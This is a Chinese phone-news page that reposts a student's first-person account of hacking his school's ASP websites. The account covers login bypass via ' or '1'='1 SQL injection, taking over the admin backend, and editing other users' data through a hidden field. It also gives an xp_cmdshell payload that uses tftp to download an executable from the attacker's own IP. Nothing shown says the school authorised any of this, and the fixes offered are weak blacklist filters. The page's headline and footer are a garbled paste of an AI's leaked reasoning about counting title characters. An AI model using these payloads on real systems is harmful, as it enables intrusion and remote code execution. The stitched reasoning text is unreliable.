热点
手机体验师:三星Z Flip7 FE何时入手最划算?,reasoning_content:我们要求以手机体验师的口吻,写一个关于三星Galaxy Z Flip7 FE最佳入手时机全解析的标题需要简短精炼,30字以内直接输出标题,不要加说明nn注意:标题要体现手机体验师的口吻,可能用第一人称或专家的语气例如:手机体验师教你:三星Z Flip7 FE何时入手最划算? 但字数要控制最好更简洁nn可能的三星Z Flip7 FE最佳入手时机,手机体验师详解 但字数超了?数一下:三星Z Flip7 FE最佳入手时机,手机体验师详解 – 共16个字?中文:三星Z Flip7 FE最佳入手时机,手机体验师详解 – 实际字符:三、星、Z、空、格、F、l、i、p、7、空、格、F、E、最、佳、入、手、时、机、,、手、机、体、验、师、详、解 – 共28个字符?注意:中文标点算一个,空格算一个但通常标题中空格可以省略或者用英文的Z Flip7 FE中间空格?最好简洁nn更简洁:手机体验师:三星Z Flip7 FE何时入手最佳? 字数:手机体验师:三星Z Flip7 FE何时入手最佳? – 共16个汉字+英文?数:手、机、体、验、师、:、三、星、Z、空、F、l、i、p、7、空、F、E、何、时、入、手、最、佳、? – 25个字符,可以但Z Flip7 FE中空格可以去掉?通常写法为Z Flip7 FE 或 Galaxy Z Flip7 FE?标题中写三星Galaxy Z Flip7 FE太长可以简化为三星Z Flip7 FEnn但原要求是三星Galaxy Z Flip7 FE,但标题可以省略Galaxy?三星Galaxy Z Flip7 FE共11个汉字+英文?我们尽量完整目标30字以内,完全可以用全称例如:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 共16个字?数一下:三、星、G、a、l、a、x、y、空格、Z、空格、F、l、i、p、7、空格、F、E、最、佳、入、手、时、机、全、解、析 – 28个字符,稍微超了一点?注意:中文汉字每个占一个字符,英文字母和空格也占一个28个字符,但通常标题字数指汉字数量?不严格但为了保险,可以更精简nn或者:手机体验师解析三星Z Flip7 FE最佳入手时机 – 汉字+英文:手机体验师解析三星Z Flip7 FE最佳入手时机 – 共18个汉字?数:手、机、体、验、师、解、析、三、星、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机 – 24个字符,可以但缺了全解析?或者直接用最佳入手时机解析nn考虑到要体现手机体验师的口吻,最好以第一人称或专家身份例如:手机体验师:三星Z Flip7 FE何时入手最划算? 这个很简洁或者手机体验师教你选三星Z Flip7 FE入手时机 但字数nn最终决定:用手机体验师:三星Galaxy Z Flip7 FE最佳入手时机 但少了全解析?可以加解析二字但字数可能超我们严格数一下:手机体验师:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 共:手机体验师:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 汉字:手、机、体、验、师、:、三、星、G、a、l、a、x、y、空、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机、全、解、析 – 共34个字符,超了30字所以需要精简nn去掉Galaxy:手机体验师:三星Z Flip7 FE最佳入手时机全解析 – 汉字:手、机、体、验、师、:、三、星、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机、全、解、析 – 共27个字符,可以注意:冒号算一个,空格算两个(Z后面和7后面各一个?Z Flip7 FE中,通常Z后面有空格,Flip7后面有空格,FE前面有空格?实际上标准写法是Z Flip7 FE,三个单词之间有两个空格但也可以写为Z Flip7 FE 或 Z Flip7 FE 我们数一下:Z空格F l i p 7空格F E – 实际上Z后空格,Flip7是一个整体?Flip7没有空格?通常Flip7是连写,但一般写作Flip 7?这里明确是Z Flip7 FE,Flip7可能是一个词?为了准确,我们按原要求Z Flip7 FE中有空格:Z空格Flip7空格FE?但原题是Z Flip7 FE,我理解为Z,空格,Flip7,空格,FE但Flip7本身没有空格,所以总共两个空格那么字符数:Z(1),空格(1),F(1),l(1),i(1),p(1),7(1),空格(1),F(1),E(1) – 共10个英文字符+2个空格=12个加上前面的汉字手机体验师:三星共7个汉字(手、机、体、验、师、:、三、星)共8个?注意:冒号是中文标点,算一个字符所以汉字部分:手机体验师:三星 – 7个字符(手、机、体、验、师、:、三、星)?实际上手机体验师是4个字,冒号1个,三星2个字,共7个汉字/标点然后英文12个,再加上最佳入手时机全解析共8个汉字(最、佳、入、手、时、机、全、解、析)共9个?全解析是3个字,加上最佳入手时机是5个字,共8个字?不对:最佳入手时机全解析 – 最佳(2)、入手(2)、时机(2)、全(1)、解析(2) 共9个汉字所以总汉字/标点:7+9=16个,英文12个,总28个字符,在30以内可以nn但为了更简洁,也可以去掉全,直接最佳入手时机解析也是8个字?最佳入手时机解析是7个字(最佳2、入手2、时机2、解析2)共8?不对,解析是2个字,共2+2+2+2=8加上前面的7+8=15,英文12=27,也可以或者用最佳入手时机详解nn另一个想法:直接以手机体验师开头,用问句形式手机体验师:三星Z Flip7 FE何时入手最划算? – 字符数:手机体验师:三星Z Flip7 FE何时入手最划算? – 汉字:手、机、体、验、师、:、三、星、何、时、入、手、最、划、算、? – 共16个汉字+标点,英文12个,共28个,合适这个更口语化,符合手机体验师的口吻nn我选择这个
19 9 月 2026, 周六

我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在http://www.nothing.com/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、 

问题一 

  除了前台只有少量的asp文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看

里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句: 

sql=”select pwd,answer from [member] where userID='”&userID&”‘ and answer='”&answer&”‘” 

  这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:’ or ‘1’=’1 
这样,程序将会变成这样: 

sql=”select pwd,answer from [member] where userID=”&’or’1’=1&”and pass=”&answer&” 

  or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的”and”验证将不再继续,而因为”1=1″和”or”令语句返回为真值。这样的话我们从一开始就可以提交’ or ‘1’=’1这个来饶过验证了,不管我们在什么文本框我们都提交’ or ‘1’=’1这个都能顺利到达下一个页面,既然这样,我们用’ or ‘1’=’1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人资料修改的链接了,果然正常显示了个人资料,我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西: 
原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2001010XXX替换上去,然后修改

里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。 
  不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。 
  这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了: 

us=mid(input,i,1) 
if us=” ” or us=”‘” or us=”%” or us=”<" or us=">” or us=”&” then 
response.redirect “error_page.asp” 
response.end 

  几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“<”、“>”就重定向到error_page.asp这个页面。 
  虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。 

问题二 

  通常一些资料调用文件都会存在一些SQL injection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码): 

<% option explicit %> 
 
<% 
dim sql,rs,rsc,thedate 
dim reviewable,aboutnews 
set rs=server.createobject(“adodb.recordset”) ‘查找显示相关新闻数目及是否开放评论权限 
rs.open “select * from news_parameter where parameterid=1”,conn,1,1 
if not rs.bof and not rs.eof then 
aboutnews=rs(“aboutnews”) 
if rs(“reviewable”)=1 then 
reviewable=1 
else 
reviewable=0 
end if 
else 
aboutnews=5 
reviewable=1 
end if 
rs.close 
set rs=nothing 
set rs=server.createobject(“adodb.recordset”) 
sql=”update news set hits=hits where newsid=” & cstr(request(“newsid”)) 
conn.execute sql 
if session(“purview”)=”” then 
rs.open “select * from news where newsid=” & cstr(request(“newsid”)) & ” and audit=1″,conn,1,1 
else 
rs.open “select * from news where newsid=” & cstr(request(“newsid”)),conn,1,1 
end if 
if err.number <> 0 then 
response.write “数据库出错” 
else 
if rs.bof and rs.eof then 
rs.close 
response.write “该新闻不存在或未经过审核” 
else 
%> 
 
 
 
<%=rs("topic")%> 
 
 
 
 
 
 
 
<% end if 
end if%> 
 

  大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句, 

rs.open “select * from news where newsid=” & cstr(request(“newsid”)),conn,1,1 

  由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造 newsid 发动sql injection攻击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限执行系统命令。 

http://ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell ‘tftp -i myip get flash.exe’;– 

  针对这个文件的解决办法就是用replace函数过滤,看看下面的代码: 

replace(str,”‘”,”””) 
replace(str,”‘”,””) 

  这两行的意思就是把单引号替换为双引号和空格。 
  我们学校服务器的系统漏洞已经找不出什么东西了,但是由于Web程序的问题,导致服务器被控制,学校的技术人员怎么想呢?文章虽短,但问题已经说明很清楚了。 
  看来Web程序的问题实在不可忽视。Web程序安全的重点就是对字符检查——检查——再检查。 
  本人水平实在有限,写不出什么高深技术的文章,在这里献丑了。 

dawei

【声明】:92手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

您错过了

手机体验师:三星Z Flip7 FE何时入手最划算?,reasoning_content:我们要求以手机体验师的口吻,写一个关于三星Galaxy Z Flip7 FE最佳入手时机全解析的标题需要简短精炼,30字以内直接输出标题,不要加说明nn注意:标题要体现手机体验师的口吻,可能用第一人称或专家的语气例如:手机体验师教你:三星Z Flip7 FE何时入手最划算? 但字数要控制最好更简洁nn可能的三星Z Flip7 FE最佳入手时机,手机体验师详解 但字数超了?数一下:三星Z Flip7 FE最佳入手时机,手机体验师详解 – 共16个字?中文:三星Z Flip7 FE最佳入手时机,手机体验师详解 – 实际字符:三、星、Z、空、格、F、l、i、p、7、空、格、F、E、最、佳、入、手、时、机、,、手、机、体、验、师、详、解 – 共28个字符?注意:中文标点算一个,空格算一个但通常标题中空格可以省略或者用英文的Z Flip7 FE中间空格?最好简洁nn更简洁:手机体验师:三星Z Flip7 FE何时入手最佳? 字数:手机体验师:三星Z Flip7 FE何时入手最佳? – 共16个汉字+英文?数:手、机、体、验、师、:、三、星、Z、空、F、l、i、p、7、空、F、E、何、时、入、手、最、佳、? – 25个字符,可以但Z Flip7 FE中空格可以去掉?通常写法为Z Flip7 FE 或 Galaxy Z Flip7 FE?标题中写三星Galaxy Z Flip7 FE太长可以简化为三星Z Flip7 FEnn但原要求是三星Galaxy Z Flip7 FE,但标题可以省略Galaxy?三星Galaxy Z Flip7 FE共11个汉字+英文?我们尽量完整目标30字以内,完全可以用全称例如:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 共16个字?数一下:三、星、G、a、l、a、x、y、空格、Z、空格、F、l、i、p、7、空格、F、E、最、佳、入、手、时、机、全、解、析 – 28个字符,稍微超了一点?注意:中文汉字每个占一个字符,英文字母和空格也占一个28个字符,但通常标题字数指汉字数量?不严格但为了保险,可以更精简nn或者:手机体验师解析三星Z Flip7 FE最佳入手时机 – 汉字+英文:手机体验师解析三星Z Flip7 FE最佳入手时机 – 共18个汉字?数:手、机、体、验、师、解、析、三、星、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机 – 24个字符,可以但缺了全解析?或者直接用最佳入手时机解析nn考虑到要体现手机体验师的口吻,最好以第一人称或专家身份例如:手机体验师:三星Z Flip7 FE何时入手最划算? 这个很简洁或者手机体验师教你选三星Z Flip7 FE入手时机 但字数nn最终决定:用手机体验师:三星Galaxy Z Flip7 FE最佳入手时机 但少了全解析?可以加解析二字但字数可能超我们严格数一下:手机体验师:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 共:手机体验师:三星Galaxy Z Flip7 FE最佳入手时机全解析 – 汉字:手、机、体、验、师、:、三、星、G、a、l、a、x、y、空、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机、全、解、析 – 共34个字符,超了30字所以需要精简nn去掉Galaxy:手机体验师:三星Z Flip7 FE最佳入手时机全解析 – 汉字:手、机、体、验、师、:、三、星、Z、空、F、l、i、p、7、空、F、E、最、佳、入、手、时、机、全、解、析 – 共27个字符,可以注意:冒号算一个,空格算两个(Z后面和7后面各一个?Z Flip7 FE中,通常Z后面有空格,Flip7后面有空格,FE前面有空格?实际上标准写法是Z Flip7 FE,三个单词之间有两个空格但也可以写为Z Flip7 FE 或 Z Flip7 FE 我们数一下:Z空格F l i p 7空格F E – 实际上Z后空格,Flip7是一个整体?Flip7没有空格?通常Flip7是连写,但一般写作Flip 7?这里明确是Z Flip7 FE,Flip7可能是一个词?为了准确,我们按原要求Z Flip7 FE中有空格:Z空格Flip7空格FE?但原题是Z Flip7 FE,我理解为Z,空格,Flip7,空格,FE但Flip7本身没有空格,所以总共两个空格那么字符数:Z(1),空格(1),F(1),l(1),i(1),p(1),7(1),空格(1),F(1),E(1) – 共10个英文字符+2个空格=12个加上前面的汉字手机体验师:三星共7个汉字(手、机、体、验、师、:、三、星)共8个?注意:冒号是中文标点,算一个字符所以汉字部分:手机体验师:三星 – 7个字符(手、机、体、验、师、:、三、星)?实际上手机体验师是4个字,冒号1个,三星2个字,共7个汉字/标点然后英文12个,再加上最佳入手时机全解析共8个汉字(最、佳、入、手、时、机、全、解、析)共9个?全解析是3个字,加上最佳入手时机是5个字,共8个字?不对:最佳入手时机全解析 – 最佳(2)、入手(2)、时机(2)、全(1)、解析(2) 共9个汉字所以总汉字/标点:7+9=16个,英文12个,总28个字符,在30以内可以nn但为了更简洁,也可以去掉全,直接最佳入手时机解析也是8个字?最佳入手时机解析是7个字(最佳2、入手2、时机2、解析2)共8?不对,解析是2个字,共2+2+2+2=8加上前面的7+8=15,英文12=27,也可以或者用最佳入手时机详解nn另一个想法:直接以手机体验师开头,用问句形式手机体验师:三星Z Flip7 FE何时入手最划算? – 字符数:手机体验师:三星Z Flip7 FE何时入手最划算? – 汉字:手、机、体、验、师、:、三、星、何、时、入、手、最、划、算、? – 共16个汉字+标点,英文12个,共28个,合适这个更口语化,符合手机体验师的口吻nn我选择这个